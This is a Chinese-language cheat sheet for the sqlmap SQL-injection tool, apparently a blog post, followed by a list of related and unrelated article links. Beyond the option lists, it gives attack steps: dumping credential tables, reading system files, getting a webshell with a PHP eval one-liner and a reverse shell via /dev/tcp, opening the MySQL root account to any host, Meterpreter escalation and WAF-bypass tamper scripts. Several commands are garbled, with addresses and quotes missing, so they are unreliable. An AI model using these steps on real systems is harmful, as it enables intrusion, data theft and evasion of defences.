支持模式:布尔/时间/报错/联合查询/堆查询
支持数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
支持系统 Windows/Linux
更新 python sqlmap.py --update
参数
-v 输出详情
--dbs 数据库名判断
--tables –D "cms" cms库表名判断
-T 表
-D 库
-C 列
--start 数据截取
--stop
--frist
--last
--dump-all 获取所有数据库表内容
--search 寻找特定的库/表/列
--columns -T "cms_users" -D "cms" cms.cms_users表的列名称
--dump -C "password,userid,username" -T "cms_users" -D "cms" B19 对cms.cms_users中的password,userid,username列进行破解(字段爆破)
--dump –D "cms" 对cms数据库暴力破解:cms数据库信息/数据库管理员账号信息破解
--data='id=546' --dbs post注入(get/post都适用)
-r json格式参数
-f 指纹
--users 数据库账号
--passwords 列出hash爆破
--banner 数据库信息
--dbs 数据库枚举
-a 全选
-d 连接数据库 -d "mysql://user:passward@地址:端口/数据库名称"
-m get请求批量测试 sqlmap -m list.txt
-g google搜索出来的结果 (-g "inurl:\".php?id=1\"")\"只是将双引号内的"特殊字符进行转义
-p 指定检查的变量
-s sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数
-t 记录流量文件保存位置
-z 参数助记符(sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u 1.1.1.1/a.asp?id=1可以写成sqlmap -z"bat,random,ign,tec=BEU" -u 1.1.1.1/a.asp?id=1)
-c 加载sqlmap.conf文件相关配置
--param-del 当GET或POST的数据需要用其他字符分割测试参数的时候需要用
--charset 字符编码
--crawl sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度,一般设置为3
--flush-session 清空之前的session
-forms 从-u中的url获取页面中的表单进行测试
--fresh-queries 忽略session查询结果
--hex dump非ASCII字符内容时,将其编码为16进制形式
--parse-errors 分析和现实数据库内建报错信息
--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf 
--hpp 绕过waf的有效方法,尤其对asp/iis和asp.net、iis
--answers 自动输入自己想要的答案
–beep 发现sql注入时,发出蜂鸣声
--cleanup 清理sqlmap的UDF(s)和表
--disable-coloring 禁用彩色输出
--gpage 使用指定的Google结果页面
--mobile  模拟智能设备(有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆)
--batch yes
--skip 排除检测变量
--dbms 指定数据库类型
--os 指定操作系统
--cookie cookie
--load-cookies
--drop-set-cookie
* 测试value1的位置是否可注入:python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
--alert 成功注入时发出警告
--level 注入模式等级
--user-agent 浏览器的信息
--random-agent 随机产生user-agent头,从/usr/share/sqlmap/txt/user-agents.txt,收集了大量的浏览器信息
--host
--referer
--headers 每个头单独一行,可以使用\n来换行(名称区分大小写)
--proxy --proxy="http://127.0.0.1:8087"
--proxy-cred="name:pass" 需做身份验证时
--ignore-proxy 忽略系统级代理,通常用于扫描本地网络目标(若在操作系统设置了代理,后续的一切工作都经过代理)
--delay 
--csv-del 规定输出到CSV中的分隔符
--dbms-cred DBMS身份验证
--dump-format 定义dump数据的格式(输出的格式可定义为:CSV,HTML,SQLITE)
--eta 计算注入数据的剩余时间
--timeout 默认30秒
--retries http(s)连接超时重传次数,默认3次
--tamper dpkg -L sqlmap | grep  tamper 查看脚本
--risk 风险等级
--current-user 当前数据库管理系统的帐号
--current-db 当前数据库的名称
--hostname 机器的主机名
--users 数据库管理系统所有的帐号  
--users         数据库管理系统所有的帐号  
--privileges   查看所有用户权限,加 -U username  指定用户名(CU 表示当前帐号)
--roles       角色
--dbs  查看所有的数据库
--tables 列举数据库表
--exclude-sysdbs  排除系统数据库
--count   列举数据库表中的字段
--schema -batch 批处理,全部使用默认选项
--is-dba    判断当前的用户是否为管理,是的话会返回True。
--count    获取表中数据个数
valuel/user  ->valuel*/user 伪静态
--common-tables 暴力破解表名
--common-columns access系统表无列信息,暴力破解的表在txt/common-tables.txt文件中,列名在txt/common-columns.txt中。可以自行添加
–udf-inject,–shared-lib 用户自定义函数注入
--file-read 读取系统文件,如--file-read="E:/eula.1028.txt"
--file-write/--file-dest 文件上传到数据库服务器 --file-write="123.txt"--file-dest"C:/xampp/htdocs/dvwa/123.txt"
--sql-query 注入方式检测
--sql-shell 写入命令(远程命令执行)
--os-shell
--os-cmd
into outfile 写入web后门(支持ASP、ASP.NET、JSP、PHP)
--string 返回页面真假判断
--not-string
--regexp
--code
--text-only
--titles
--reg-read 对Windows注册表操作
--reg-add
--reg-del
--reg-key
--reg-value
--reg-data
--reg-type
--randomize "可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。
利用正则过滤目标网址"
--scope
--scope 关掉URL参数值编码(默认get方法会对传输内容进行编码,某些web服务器不遵循RFC标准编码,使用原始字符提交数据)
--eval "每次请求前执行指定的python代码(每次请求时根据id参数值,做一次md5后作为hash参数的值。
注入) --eval=""import hashlib;hash=hashlib.md5(id).hexdigest()"""
--threads=THREADS 最大并发线程(盲注时每个线程获取一个字符(7此请求),获取完成后线程结束默认为1,建议不要超过10,否则可能影响站点可用性与--predict-output参数不兼容)
--keep-alive  使用http(s)长连接,性能好,与--proxy参数不兼容
--null-conection 只获取响应页面的大小值,而非页面具体内容能够通常用于盲注判断真/假,降低网络带宽消耗与--text-only参数不兼容(基于页面内容的比较判断真/假)
--predict-output   根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率版本名、用户名、密码、Prervileges、role、数据库名称、表名、列名与--threads参数不兼容统计表路径:/usr/share/sqlmap/txt/common-outputs.txt
--invalid-bignum  /--invalid-logical 默认情况下sqlmap使用负值使参数失效 id=13->id=-13,bignum使用大数使参数值失效 id=999999
logical 使用布尔判断使值失效 id=3 and 1=2
--no-cast sqlmap在提取数据库数据时,sqlmap默认将所有结果转换为字符串,并且空格替换NULL结果,老版本mysql数据库需要开启此开关
--no-escape 不逃逸,关闭使用char替换字符串功能,出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃避的方法替换字符串,select 'foo' ->select char(102)+char(111)+char(111)
--prefix 加前缀
--sufix 加后缀
--time-sec 设定延迟注入的时间
--union-cols 默认联合查询1-10列,随-level增加最多支持50列
-union-char 联合查询默认使用NULL,极端情况下NUL可能失败,此时可以手动指定数值 
--second-order 有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假
--purge-output   清空output文件夹
--smart 当有大量检测目标时,只选择基于错误的检测结果
--wizard 引导填入参数进行注入
--auth-type Basic --auth-cred "user:pass" 如--union-char 123
Basic     基本身份验证
Digest    摘要式身份认证
NTLM      NTLM身份验证(windows)
--auth-file="ca.PEM"
--auth-cert 含有私钥的PEM格式证书文件或PEM格式的证书链文件
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
–output-dir 默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp
--os-pwn Meterpreter配合使用
--os-smbrelay
-os-bof
–priv-esc
–msf-path
–tmp-path
风险等级
--risk(risk高会造成update更改数据)
默认1(无害)
2(添加基于事件的测试语句)
3 (增加OR语句的SQL注入测试)

探测方法

--technique 指定sqlmap使用的探测技术,默认情况下会测试所有的方式
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入) 

显示模式

-v
、只显示python错误以及严重的信息。
、同时显示基本信息和警告信息。(默认)
、同时显示debug信息。
、同时显示注入的payload。
、同时显示HTTP请求。
、同时显示HTTP响应头。
、同时显示HTTP响应页面。 

批量sql注入

-m
--scope 使用brup抓取的日志文件,但 日志文件比较大,你只想检测日志中的一个站点或者某一个特征是否存在sql注入
sqlmap -l burp.lpg --scope="(www)?\.baidu\.(com|net|org)"
sqlmap -l burp.lpg --scope="(19)?\.168\.20\.(1|10|100)" 

SQLMap - 数据库注入 - Access

--tables -暴力破解表名

post请求注入
sqlmap -l log.txt 使用burpsuite log文件 (勾选上options中的Misc中的proxy)
sqlmap -r 1.txt 可以用burpsuite抓包并复制到txt文件(注意请用gedit编辑器,vim会因为格式问题报错)
sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl  (默认不是443,在后加其端口)

cookie注入
必须使用--cookie选项/level大于等于2
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入
--cookie cookie
--load-cookies
--drop-set-cookie 拒接Set-Cookie

uesr-agent注入
lever>=3

host注入
level=5

referer注入
level>=3

避免过多的错误请求被屏蔽
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

Webshell获取

()直接连接数据库
sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell
()通过选择32位或者64位操作系统,获取webshell,执行
bash -i >& /dev/tcp/>&1
()反弹到服务器192.,在实际中192.168.1.3为外网独立IP
()通过echo命令生成shell:
echo “<?php@eval($_POST[.php
如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新
命令可参考:
use mysql;
update userset host = ‘%’ where user = ‘root’;
FLUSHPRIVILEGES ;
注:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题

(5)sqlmap -u url--os-shell  (6)sqlmap注入点获取webshell sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令获取

udf提权

连接mysql数据打开一个交互shell:
sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\\wamp2.\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\" 

waf
检测
--identify-waf 彻底的waf检查,支持30多种产品
--check-waf

Waf - 绕过

参数绕过
--random-agent -v  WAF配置不当,使用任意浏览器进行绕过
 --hpp -v  在ASP.NET/IIS 平台上,使用HTTP 参数污染进行绕过
 --delay= --time-sec= 使用长的延时来避免触发WAF的机制,这方式比较耗时
proxy= --proxy-cred=:  使用代理进行注入
自带模块绕过
--tamper=A.py,B.py/--random-agent -v  -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py
space2comment.py 用/**/代替空格
apostrophemask.py 用utf8代替引号
equaltolike.py like代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号,随机字符串以及换行符
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py (mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py 用between替换大于号(>)
space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py 双重查询语句,取代SQL关键字
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALLSELECT UNION SELECT
charencode.py  url编码
randomcase.py 随机大小写
unmagicquotes.py 宽字符绕过 GPCaddslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py 字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py 注释绕过
space2comment.py 替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py 关键字前加注释"

特殊情况
--common-tables 暴力破解表名(暴力破解的表在txt/common-tables.txt文件中)
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
--common-columns 暴力破解列名

自定义模块
Sqlmap字符转换 "SELECT 全部转换为 /**/SELECT
#!/usr/bin/env python
def tamper(payload, **kwargs):
retVal = payload
if 'SELECT' in retVal:
retVal = retVal.replace('SELECT','/**/SELECT')
return retVal
命名为 select2select 放在sqlmap tamper 目录下面,然后与其他模块一起使用,中间用逗号隔开

SQLMap中使用Meterpreter
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

局限性
sqlmapapi不支持POST注入
mysql<5.0,没有information schema库
mysql<=5.0,但无权限读取information schema库
 微软的access数据集,默认无权读取mysysobjects库

SQLMap使用总结的更多相关文章

  1. 关于sqlmap的使用

    好记性不如烂笔头,记录一下. 带cookie的注入 python sqlmap.py -u "http://www.xxx.com?id=1" --cookie="coo ...

  2. SQLMap Tamper Scripts Update 04/July/2016

    SQLMap Tamper Scripts Update apostrophemask.py Replaces apostrophe character with its UTF-8 full wid ...

  3. 定制sqlmap tamper脚本

    前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了. 测试 在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接 ...

  4. sqlmap --dns-domain模拟实践

    因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入 ...

  5. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  6. sqlmap 帮助信息

    Usage: sqlmap.py [options] 选项: -h, --help 显示基本的帮助信息并退出 -hh 显示高级的帮助信息并退出 --version 显示程序版本号并退出 -v VERB ...

  7. sqlmap用户手册 | WooYun知识库

    sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息. 原文:http://drops.wooyun.org/tips/143  ============ ...

  8. sqlmap http头注入的一个技巧

    sqlmap.py -u "url" --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql   --current-d ...

  9. 利用sqlmap进行mysql提权的小方法(win与liunx通用)

    文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap ...

  10. 4.羽翼sqlmap学习笔记之Post登录框注入

    4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...

随机推荐

  1. 浏览器输入url按回车背后经历了哪些?

    在PC浏览器的地址栏输入一串URL,然后按Enter键这个页面渲染出来,这个过程中都发生了什么事? 1.首先,在浏览器地址栏中输入url,先解析url,检测url地址是否合法2.浏览器先查看浏览器缓存 ...

  2. 使用hash表进行数组去重

    哈希表(Hash table,也叫散列表),是根据关键码值(Key value)而直接进行访问的数据结构.也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度.这个映射函数叫做散列 ...

  3. Ionic创建混合App(一)

    前言 最近公司要开始做App项目,最终选定了ionic开发方案,在这里我将学习的过程记录在这里,一方面避免自己忘记,另一方面方便大家交流学习.这里我们采用的是 Ionic2 + Angular2 : ...

  4. Linux基于Hadoop2.8.0集群安装配置Hive2.1.1及基础操作

    前言 安装Apache Hive前提是要先安装hadoop集群,并且hive只需要在hadoop的namenode节点集群里安装即可,安装前需保证Hadoop已启(动文中用到了hadoop的hdfs命 ...

  5. Solr的学习使用之(六)获取数据列表-SolrDocumentList

    以下是我项目中获取新闻数据列表的写法,包括数据总量.数据列表,接下来会贴出分片查询(facet)等高级查询 基本的注释都有了: private ListPage<News> queryFr ...

  6. Shell脚本的fork炸弹

    #!bin/bash#功能:快速消耗计算机资源,致使计算机死机#作者:liusingbon#定义函数名为.(点), 函数中递归调用自己并放入后台执行function . { .|.& };.

  7. 06Web服务

    1.web开发入门 1.1 引入 软件结构分类: CS结构:客户端和服务器端 特点: 1)必须安装特点的客户端程序 2)服务器端升级,客户端同步升级 BS结构:浏览器和服务器端 特点: 1)不需要安装 ...

  8. ps:消除锯齿和羽化

    我们使用椭圆选框工具,分别关闭和打开消除锯齿(也称抗锯齿),创建两个差不多大的正圆形选区,然后填充黑色看看.怎样快速填充黑色还记得吗?先[X]然后[ALT DELETE].填充之后取消选择[CTRL ...

  9. ps:不规则选区

    尽管我们学会了如何添加减去或是交叉选区,但选取出来的选区还是比较规则,不是矩形就是圆形,这样的形状很难胜任在实际制作中的需要.现在我们就要学习如何建立一个任意形状的选区.建立任意选区的工具是套索工具. ...

  10. java 关键字volatile

    一.Java内存模型 想要理解volatile为什么能确保可见性,就要先理解Java中的内存模型是什么样的. Java内存模型规定了所有的变量都存储在主内存中.每条线程中还有自己的工作内存,线程的工作 ...